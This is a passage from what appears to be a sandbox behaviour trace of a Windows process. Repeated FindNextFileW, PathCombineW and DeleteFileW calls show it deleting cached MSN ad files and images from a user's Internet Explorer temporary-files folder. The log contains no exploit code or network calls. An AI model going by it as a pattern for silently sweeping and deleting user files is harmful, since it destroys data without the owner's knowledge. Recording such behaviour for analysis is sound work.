Files\\Low\\Content.IE5\\5JW0IE7I\\6858;kvmsft_pagetype=homepage;kvpg=msn%2Fde-de;kvugc=0;kvmn=MSNDEDE1B;kvgrp=243913430;kvismob=2;extmirroring=0;kvtile=3;target=_blank;aduho=0;grp=243913430[1]" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\5jw0ie7i\\6858;kvmsft_pagetype=homepage;kvpg=msn%2fde-de;kvugc=0;kvmn=msndede1b;kvgrp=243913430;kvismob=2;extmirroring=0;kvtile=3;target=_blank;aduho=0;grp=243913430[1]")) returned 1 [0102.580] FindNextFileW (in: hFindFile=0x71e97e0, lpFindFileData=0x9a91b30 | out: lpFindFileData=0x9a91b30*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x1a774400, ftCreationTime.dwHighDateTime=0x1d2f56a, ftLastAccessTime.dwLowDateTime=0x1a774400, ftLastAccessTime.dwHighDateTime=0x1d2f56a, ftLastWriteTime.dwLowDateTime=0x1a774400, ftLastWriteTime.dwHighDateTime=0x1d2f56a, nFileSizeHigh=0x0, nFileSizeLow=0x1250, dwReserved0=0x300032, dwReserved1=0x370031, cFileName="6858;kvmsft_pagetype=homepage;kvpg=msn%2Fde-de;kvugc=0;kvmn=MSNDEDE1B;kvgrp=243920512;kvismob=2;extmirroring=0;kvtile=4;target=_blank;aduho=0;grp=243920512[1]", cAlternateFileName="684C46~1")) returned 1 [0102.580] lstrlenW (lpString="6858;kvmsft_pagetype=homepage;kvpg=msn%2Fde-de;kvugc=0;kvmn=MSNDEDE1B;kvgrp=243920512;kvismob=2;extmirroring=0;kvtile=4;target=_blank;aduho=0;grp=243920512[1]") returned 158 [0102.580] PathCombineW (in: pszDest=0x9a91840, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\5JW0IE7I", pszFile="6858;kvmsft_pagetype=homepage;kvpg=msn%2Fde-de;kvugc=0;kvmn=MSNDEDE1B;kvgrp=243920512;kvismob=2;extmirroring=0;kvtile=4;target=_blank;aduho=0;grp=243920512[1]" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\5JW0IE7I\\6858;kvmsft_pagetype=homepage;kvpg=msn%2Fde-de;kvugc=0;kvmn=MSNDEDE1B;kvgrp=243920512;kvismob=2;extmirroring=0;kvtile=4;target=_blank;aduho=0;grp=243920512[1]") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\5JW0IE7I\\6858;kvmsft_pagetype=homepage;kvpg=msn%2Fde-de;kvugc=0;kvmn=MSNDEDE1B;kvgrp=243920512;kvismob=2;extmirroring=0;kvtile=4;target=_blank;aduho=0;grp=243920512[1]" [0102.580] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\5JW0IE7I\\6858;kvmsft_pagetype=homepage;kvpg=msn%2Fde-de;kvugc=0;kvmn=MSNDEDE1B;kvgrp=243920512;kvismob=2;extmirroring=0;kvtile=4;target=_blank;aduho=0;grp=243920512[1]" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\5jw0ie7i\\6858;kvmsft_pagetype=homepage;kvpg=msn%2fde-de;kvugc=0;kvmn=msndede1b;kvgrp=243920512;kvismob=2;extmirroring=0;kvtile=4;target=_blank;aduho=0;grp=243920512[1]")) returned 1 [0102.583] FindNextFileW (in: hFindFile=0x71e97e0, lpFindFileData=0x9a91b30 | out: lpFindFileData=0x9a91b30*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x18b2fec0, ftCreationTime.dwHighDateTime=0x1d2f56a, ftLastAccessTime.dwLowDateTime=0x18b2fec0, ftLastAccessTime.dwHighDateTime=0x1d2f56a, ftLastWriteTime.dwLowDateTime=0x18b2fec0, ftLastWriteTime.dwHighDateTime=0x1d2f56a, nFileSizeHigh=0x0, nFileSizeLow=0x8c0, dwReserved0=0x300032, dwReserved1=0x370031, cFileName="6858;kvmsft_pagetype=homepage;kvpg=msn%2Fde-de;kvugc=0;kvmn=MSNDEDE1C;kvgrp=243913430;kvismob=2;extmirroring=0;kvtile=4;target=_blank;aduho=0;grp=243913430[1]", cAlternateFileName="6858_K~1")) returned 1 [0102.583] lstrlenW (lpString="6858;kvmsft_pagetype=homepage;kvpg=msn%2Fde-de;kvugc=0;kvmn=MSNDEDE1C;kvgrp=243913430;kvismob=2;extmirroring=0;kvtile=4;target=_blank;aduho=0;grp=243913430[1]") returned 158 [0102.583] PathCombineW (in: pszDest=0x9a91840, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\5JW0IE7I", pszFile="6858;kvmsft_pagetype=homepage;kvpg=msn%2Fde-de;kvugc=0;kvmn=MSNDEDE1C;kvgrp=243913430;kvismob=2;extmirroring=0;kvtile=4;target=_blank;aduho=0;grp=243913430[1]" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\5JW0IE7I\\6858;kvmsft_pagetype=homepage;kvpg=msn%2Fde-de;kvugc=0;kvmn=MSNDEDE1C;kvgrp=243913430;kvismob=2;extmirroring=0;kvtile=4;target=_blank;aduho=0;grp=243913430[1]") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\5JW0IE7I\\6858;kvmsft_pagetype=homepage;kvpg=msn%2Fde-de;kvugc=0;kvmn=MSNDEDE1C;kvgrp=243913430;kvismob=2;extmirroring=0;kvtile=4;target=_blank;aduho=0;grp=243913430[1]" [0102.583] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\5JW0IE7I\\6858;kvmsft_pagetype=homepage;kvpg=msn%2Fde-de;kvugc=0;kvmn=MSNDEDE1C;kvgrp=243913430;kvismob=2;extmirroring=0;kvtile=4;target=_blank;aduho=0;grp=243913430[1]" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\5jw0ie7i\\6858;kvmsft_pagetype=homepage;kvpg=msn%2fde-de;kvugc=0;kvmn=msndede1c;kvgrp=243913430;kvismob=2;extmirroring=0;kvtile=4;target=_blank;aduho=0;grp=243913430[1]")) returned 1 [0102.586] FindNextFileW (in: hFindFile=0x71e97e0, lpFindFileData=0x9a91b30 | out: lpFindFileData=0x9a91b30*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x1a7c06c0, ftCreationTime.dwHighDateTime=0x1d2f56a, ftLastAccessTime.dwLowDateTime=0x1a7c06c0, ftLastAccessTime.dwHighDateTime=0x1d2f56a, ftLastWriteTime.dwLowDateTime=0x1a7c06c0, ftLastWriteTime.dwHighDateTime=0x1d2f56a, nFileSizeHigh=0x0, nFileSizeLow=0x8c2, dwReserved0=0x300032, dwReserved1=0x370031, cFileName="6858;kvmsft_pagetype=homepage;kvpg=msn%2Fde-de;kvugc=0;kvmn=MSNDEDE1C;kvgrp=243920512;kvismob=2;extmirroring=0;kvtile=5;target=_blank;aduho=0;grp=243920512[1]", cAlternateFileName="68886E~1")) returned 1 [0102.586] lstrlenW (lpString="6858;kvmsft_pagetype=homepage;kvpg=msn%2Fde-de;kvugc=0;kvmn=MSNDEDE1C;kvgrp=243920512;kvismob=2;extmirroring=0;kvtile=5;target=_blank;aduho=0;grp=243920512[1]") returned 158 [0102.587] PathCombineW (in: pszDest=0x9a91840, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\5JW0IE7I", pszFile="6858;kvmsft_pagetype=homepage;kvpg=msn%2Fde-de;kvugc=0;kvmn=MSNDEDE1C;kvgrp=243920512;kvismob=2;extmirroring=0;kvtile=5;target=_blank;aduho=0;grp=243920512[1]" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\5JW0IE7I\\6858;kvmsft_pagetype=homepage;kvpg=msn%2Fde-de;kvugc=0;kvmn=MSNDEDE1C;kvgrp=243920512;kvismob=2;extmirroring=0;kvtile=5;target=_blank;aduho=0;grp=243920512[1]") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\5JW0IE7I\\6858;kvmsft_pagetype=homepage;kvpg=msn%2Fde-de;kvugc=0;kvmn=MSNDEDE1C;kvgrp=243920512;kvismob=2;extmirroring=0;kvtile=5;target=_blank;aduho=0;grp=243920512[1]" [0102.587] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\5JW0IE7I\\6858;kvmsft_pagetype=homepage;kvpg=msn%2Fde-de;kvugc=0;kvmn=MSNDEDE1C;kvgrp=243920512;kvismob=2;extmirroring=0;kvtile=5;target=_blank;aduho=0;grp=243920512[1]" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\5jw0ie7i\\6858;kvmsft_pagetype=homepage;kvpg=msn%2fde-de;kvugc=0;kvmn=msndede1c;kvgrp=243920512;kvismob=2;extmirroring=0;kvtile=5;target=_blank;aduho=0;grp=243920512[1]")) returned 1 [0102.600] FindNextFileW (in: hFindFile=0x71e97e0, lpFindFileData=0x9a91b30 | out: lpFindFileData=0x9a91b30*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x18b7c180, ftCreationTime.dwHighDateTime=0x1d2f56a, ftLastAccessTime.dwLowDateTime=0x18b7c180, ftLastAccessTime.dwHighDateTime=0x1d2f56a, ftLastWriteTime.dwLowDateTime=0x18bc8440, ftLastWriteTime.dwHighDateTime=0x1d2f56a, nFileSizeHigh=0x0, nFileSizeLow=0x1252, dwReserved0=0x300032, dwReserved1=0x370031, cFileName="6858;kvmsft_pagetype=homepage;kvpg=msn%2Fde-de;kvugc=0;kvmn=MSNDEDE1D;kvgrp=243913430;kvismob=2;extmirroring=0;kvtile=5;target=_blank;aduho=0;grp=243913430[1]", cAlternateFileName="6858_K~3")) returned 1 [0102.613] lstrlenW (lpString="6858;kvmsft_pagetype=homepage;kvpg=msn%2Fde-de;kvugc=0;kvmn=MSNDEDE1D;kvgrp=243913430;kvismob=2;extmirroring=0;kvtile=5;target=_blank;aduho=0;grp=243913430[1]") returned 158 [0102.613] PathCombineW (in: pszDest=0x9a91840, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\5JW0IE7I", pszFile="6858;kvmsft_pagetype=homepage;kvpg=msn%2Fde-de;kvugc=0;kvmn=MSNDEDE1D;kvgrp=243913430;kvismob=2;extmirroring=0;kvtile=5;target=_blank;aduho=0;grp=243913430[1]" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\5JW0IE7I\\6858;kvmsft_pagetype=homepage;kvpg=msn%2Fde-de;kvugc=0;kvmn=MSNDEDE1D;kvgrp=243913430;kvismob=2;extmirroring=0;kvtile=5;target=_blank;aduho=0;grp=243913430[1]") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\5JW0IE7I\\6858;kvmsft_pagetype=homepage;kvpg=msn%2Fde-de;kvugc=0;kvmn=MSNDEDE1D;kvgrp=243913430;kvismob=2;extmirroring=0;kvtile=5;target=_blank;aduho=0;grp=243913430[1]" [0102.613] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\5JW0IE7I\\6858;kvmsft_pagetype=homepage;kvpg=msn%2Fde-de;kvugc=0;kvmn=MSNDEDE1D;kvgrp=243913430;kvismob=2;extmirroring=0;kvtile=5;target=_blank;aduho=0;grp=243913430[1]" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\5jw0ie7i\\6858;kvmsft_pagetype=homepage;kvpg=msn%2fde-de;kvugc=0;kvmn=msndede1d;kvgrp=243913430;kvismob=2;extmirroring=0;kvtile=5;target=_blank;aduho=0;grp=243913430[1]")) returned 1 [0102.614] FindNextFileW (in: hFindFile=0x71e97e0, lpFindFileData=0x9a91b30 | out: lpFindFileData=0x9a91b30*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x1a7e6820, ftCreationTime.dwHighDateTime=0x1d2f56a, ftLastAccessTime.dwLowDateTime=0x1a7e6820, ftLastAccessTime.dwHighDateTime=0x1d2f56a, ftLastWriteTime.dwLowDateTime=0x1a7e6820, ftLastWriteTime.dwHighDateTime=0x1d2f56a, nFileSizeHigh=0x0, nFileSizeLow=0x1254, dwReserved0=0x300032, dwReserved1=0x370031, cFileName="6858;kvmsft_pagetype=homepage;kvpg=msn%2Fde-de;kvugc=0;kvmn=MSNDEDE1D;kvgrp=243920512;kvismob=2;extmirroring=0;kvtile=6;target=_blank;aduho=0;grp=243920512[1]", cAlternateFileName="689EF8~1")) returned 1 [0102.614] lstrlenW (lpString="6858;kvmsft_pagetype=homepage;kvpg=msn%2Fde-de;kvugc=0;kvmn=MSNDEDE1D;kvgrp=243920512;kvismob=2;extmirroring=0;kvtile=6;target=_blank;aduho=0;grp=243920512[1]") returned 158 [0102.614] PathCombineW (in: pszDest=0x9a91840, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\5JW0IE7I", pszFile="6858;kvmsft_pagetype=homepage;kvpg=msn%2Fde-de;kvugc=0;kvmn=MSNDEDE1D;kvgrp=243920512;kvismob=2;extmirroring=0;kvtile=6;target=_blank;aduho=0;grp=243920512[1]" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\5JW0IE7I\\6858;kvmsft_pagetype=homepage;kvpg=msn%2Fde-de;kvugc=0;kvmn=MSNDEDE1D;kvgrp=243920512;kvismob=2;extmirroring=0;kvtile=6;target=_blank;aduho=0;grp=243920512[1]") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\5JW0IE7I\\6858;kvmsft_pagetype=homepage;kvpg=msn%2Fde-de;kvugc=0;kvmn=MSNDEDE1D;kvgrp=243920512;kvismob=2;extmirroring=0;kvtile=6;target=_blank;aduho=0;grp=243920512[1]" [0102.614] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\5JW0IE7I\\6858;kvmsft_pagetype=homepage;kvpg=msn%2Fde-de;kvugc=0;kvmn=MSNDEDE1D;kvgrp=243920512;kvismob=2;extmirroring=0;kvtile=6;target=_blank;aduho=0;grp=243920512[1]" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\5jw0ie7i\\6858;kvmsft_pagetype=homepage;kvpg=msn%2fde-de;kvugc=0;kvmn=msndede1d;kvgrp=243920512;kvismob=2;extmirroring=0;kvtile=6;target=_blank;aduho=0;grp=243920512[1]")) returned 1 [0102.628] FindNextFileW (in: hFindFile=0x71e97e0, lpFindFileData=0x9a91b30 | out: lpFindFileData=0x9a91b30*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xcbed5ea0, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xcbed5ea0, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xcbed5ea0, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x165, dwReserved0=0x300032, dwReserved1=0x370031, cFileName="AA3e6zI[1].png", cAlternateFileName="AA3E6Z~1.PNG")) returned 1 [0102.628] lstrlenW (lpString="AA3e6zI[1].png") returned 14 [0102.629] PathCombineW (in: pszDest=0x9a91840, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\5JW0IE7I", pszFile="AA3e6zI[1].png" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\5JW0IE7I\\AA3e6zI[1].png") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\5JW0IE7I\\AA3e6zI[1].png" [0102.629] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\5JW0IE7I\\AA3e6zI[1].png" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\5jw0ie7i\\aa3e6zi[1].png")) returned 1 [0102.629] FindNextFileW (in: hFindFile=0x71e97e0, lpFindFileData=0x9a91b30 | out: lpFindFileData=0x9a91b30*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xcc267fa0, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xcc267fa0, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xcc267fa0, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x2c2, dwReserved0=0x300032, dwReserved1=0x370031, cFileName="AA42ckd[1].png", cAlternateFileName="AA42CK~1.PNG")) returned 1 [0102.629] lstrlenW (lpString="AA42ckd[1].png") returned 14 [0102.629] PathCombineW (in: pszDest=0x9a91840, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\5JW0IE7I", pszFile="AA42ckd[1].png" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\5JW0IE7I\\AA42ckd[1].png") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\5JW0IE7I\\AA42ckd[1].png" [0102.629] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\5JW0IE7I\\AA42ckd[1].png" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\5jw0ie7i\\aa42ckd[1].png")) returned 1 [0102.636] FindNextFileW (in: hFindFile=0x71e97e0, lpFindFileData=0x9a91b30 | out: lpFindFileData=0x9a91b30*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xcbf94580, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xcbf94580, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xcbf94580, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x1dc, dwReserved0=0x300032, dwReserved1=0x370031, cFileName="AA7zvAd[1].png", cAlternateFileName="AA7ZVA~1.PNG")) returned 1 [0102.636] lstrlenW (lpString="AA7zvAd[1].png") returned 14 [0102.636] PathCombineW (in: pszDest=0x9a91840, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\5JW0IE7I", pszFile="AA7zvAd[1].png" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\5JW0IE7I\\AA7zvAd[1].png") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\5JW0IE7I\\AA7zvAd[1].png" [0102.636] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\5JW0IE7I\\AA7zvAd[1].png" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\5jw0ie7i\\aa7zvad[1].png")) returned 1 [0102.651] FindNextFileW (in: hFindFile=0x71e97e0, lpFindFileData=0x9a91b30 | out: lpFindFileData=0x9a91b30*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xcbc748a0, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xcbc748a0, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xcbc748a0, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x2d6, dwReserved0=0x300032, dwReserved1=0x370031, cFileName="AAfGQmV[1].png", cAlternateFileName="AAFGQM~1.PNG")) returned 1 [0102.651] lstrlenW (lpString="AAfGQmV[1].png") returned 14 [0102.651] PathCombineW (in: pszDest=0x9a91840, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\5JW0IE7I", pszFile="AAfGQmV[1].png" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\5JW0IE7I\\AAfGQmV[1].png") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\5JW0IE7I\\AAfGQmV[1].png" [0102.651] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\5JW0IE7I\\AAfGQmV[1].png" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\5jw0ie7i\\aafgqmv[1].png")) returned 1 [0102.652] FindNextFileW (in: hFindFile=0x71e97e0, lpFindFileData=0x9a91b30 | out: lpFindFileData=0x9a91b30*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xcbe63a80, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xcbe63a80, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xcbe63a80, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x340b, dwReserved0=0x300032, dwReserved1=0x370031, cFileName="AAicW5W[1].jpg", cAlternateFileName="AAICW5~1.JPG")) returned 1 [0102.652] lstrlenW (lpString="AAicW5W[1].jpg") returned 14 [0102.652] PathCombineW (in: pszDest=0x9a91840, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\5JW0IE7I", pszFile="AAicW5W[1].jpg" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\5JW0IE7I\\AAicW5W[1].jpg") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\5JW0IE7I\\AAicW5W[1].jpg" [0102.652] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\5JW0IE7I\\AAicW5W[1].jpg" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\5jw0ie7i\\aaicw5w[1].jpg")) returned 1 [0102.652] FindNextFileW (in: hFindFile=0x71e97e0, lpFindFileData=0x9a91b30 | out: lpFindFileData=0x9a91b30*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xcc3e4d60, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xcc3e4d60, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xcc3e4d60, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x2e3, dwReserved0=0x300032, dwReserved1=0x370031, cFileName="AAkhMz9[1].png", cAlternateFileName="AAKHMZ~1.PNG")) returned 1 [0102.652] lstrlenW (lpString="AAkhMz9[1].png") returned 14 [0102.652] PathCombineW (in: pszDest=0x9a91840, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\5JW0IE7I", pszFile="AAkhMz9[1].png" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\5JW0IE7I\\AAkhMz9[1].png") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\5JW0IE7I\\AAkhMz9[1].png" [0102.652] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\5JW0IE7I\\AAkhMz9[1].png" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\5jw0ie7i\\aakhmz9[1].png")) returned 1 [0102.652] FindNextFileW (in: hFindFile=0x71e97e0, lpFindFileData=0x9a91b30 | out: lpFindFileData=0x9a91b30*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4dbf0320, ftCreationTime.dwHighDateTime=0x1d2f56a, ftLastAccessTime.dwLowDateTime=0x4dbf0320, ftLastAccessTime.dwHighDateTime=0x1d2f56a, ftLastWriteTime.dwLowDateTime=0x4dc16480, ftLastWriteTime.dwHighDateTime=0x1d2f56a, nFileSizeHigh=0x0, nFileSizeLow=0x35c, dwReserved0=0x300032, dwReserved1=0x370031, cFileName="AAkqhIf[1].png", cAlternateFileName="AAKQHI~1.PNG")) returned 1 [0102.652] lstrlenW (lpString="AAkqhIf[1].png") returned 14 [0102.652] PathCombineW (in: pszDest=0x9a91840, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\5JW0IE7I", pszFile="AAkqhIf[1].png" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\5JW0IE7I\\AAkqhIf[1].png") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\5JW0IE7I\\AAkqhIf[1].png" [0102.652] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\5JW0IE7I\\AAkqhIf[1].png" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\5jw0ie7i\\aakqhif[1].png")) returned 1 [0102.673] FindNextFileW (in: hFindFile=0x71e97e0, lpFindFileData=0x9a91b30 | out: lpFindFileData=0x9a91b30*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xcc15d600, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xcc15d600, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xcc15d600, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x19a, dwReserved0=0x300032, dwReserved1=0x370031, cFileName="AAm2UN1[1].png", cAlternateFileName="AAM2UN~1.PNG")) returned 1 [0102.673] lstrlenW (lpString="AAm2UN1[1].png") returned 14 [0102.673] PathCombineW (in: pszDest=0x9a91840, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\5JW0IE7I", pszFile="AAm2UN1[1].png" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\5JW0IE7I\\AAm2UN1[1].png") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\5JW0IE7I\\AAm2UN1[1].png" [0102.673] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\5JW0IE7I\\AAm2UN1[1].png" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\5jw0ie7i\\aam2un1[1].png")) returned 1 [0102.681] FindNextFileW (in: hFindFile=0x71e97e0, lpFindFileData=0x9a91b30 | out: lpFindFileData=0x9a91b30*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xe43cd1c0, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xe43cd1c0, ftLastAccessTime.dwHighDateTime=0x1d2f569, 